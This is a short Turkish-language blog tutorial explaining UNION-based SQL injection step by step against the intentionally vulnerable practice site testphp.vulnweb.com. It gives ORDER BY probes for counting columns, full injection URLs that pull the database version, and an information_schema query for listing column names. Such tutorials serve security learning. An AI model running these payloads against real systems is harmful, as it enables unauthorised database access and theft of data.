BOOK THIS SPACE FOR AD
ARTICLE ADHerkese merhaba bu yazım da sizlere basit düzeyde UNION SQLi tarafını anlatacağım. Hazırsanız başlayalım !
Ama ilk önce temel UNION bilgisi:
Birden fazla sorgu sonucunu bir araya getirmek için kullanılan genel UNION sözdizimi şu şekildedir:
SQL injection, saldırganın web uygulamasındaki SQL sorgularını manipüle etmesine izin verir. UNION tabanlı SQLi’de saldırgan, uygulamanın sorgularını değiştirmek için UNION ifadesini kullanarak başka bir sorgu ekler. Amaç, uygulamaya beklenmedik veri döndürmek veya hassas bilgileri almak olabilir.
Adım Adım UNION SQLi:
Sütun Sayısını Belirleme: UNION ile başarılı bir saldırı gerçekleştirmek için her iki sorgunun da aynı sayıda sütuna sahip olması gerekir. Bunun için, genellikle ORDER BY ifadesi veya hatalar kullanılarak sorgudaki sütun sayısı tespit edilir:' ORDER BY 1--' ORDER BY 2--
' ORDER BY 3--
Hangi sütun sayısında hata alınırsa, oradaki değer sorgudaki sütun sayısını verir.
2. Veri Türlerini Belirleme: UNION komutunun başarılı olabilmesi için sütunların veri türlerinin de uyumlu olması gerekir. Veri türlerini öğrenmek için genellikle NULL kullanılır çünkü NULL, her türlü veri türüyle uyumludur:
http://testphp.vulnweb.com/listproducts.php?cat=1'+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13Bu yazılan URL kısmında sütun sayısı hatasını gideriyoruz ve sayfayı incelersek helper fonksiyon çalıştırmayı görüyoruz.
http://testphp.vulnweb.com/listproducts.php?cat=1'+UNION+SELECT+1,2,3,4,5,6,version(),8,9,10,11,12,13Daha temiz bir sayfa da işlemlerimizi yapmak için:
http://testphp.vulnweb.com/listproducts.php?cat=-999999'+UNION+SELECT+1,2,3,4,5,6,version(),8,9,10,11,12,13cat = -999999 kısmını yazmamızdaki amaç bu numaralı id olmayacağını tahmin ederek sayfada bir cevap almıyoruz ama sorgu çalışmış oluyor :)
Şimdi ise daha rahat çalışabileceğimiz bir sayfa oldu. Kaldığımız yerden devam etmek gerekirse en son
' UNION SELECT 1,2,3,4,5,6,version(),8,9,10,11,12,13sorgusunu çalıştırınca karşımızda database versiyonunu görmüş oluyoruz.
Kullanılan veri tabanının tablo ismine , sütunların isimlerine ve veri türleri gibi bilgilerine ulaşmamız için gerekli sorgu :
UNION SELECT 1,2,3,4,5,6,column_name,8,9,10,11,12,13 FROM information_schema.columns WHERE table_name = '{veri tabanı ismi}'
Bu şekilde gerekli olan tüm veri tabanı bilgilerine ulaşmış oluyoruz. Umarım açıklayıcı olmuştur. İyi araştırmalar.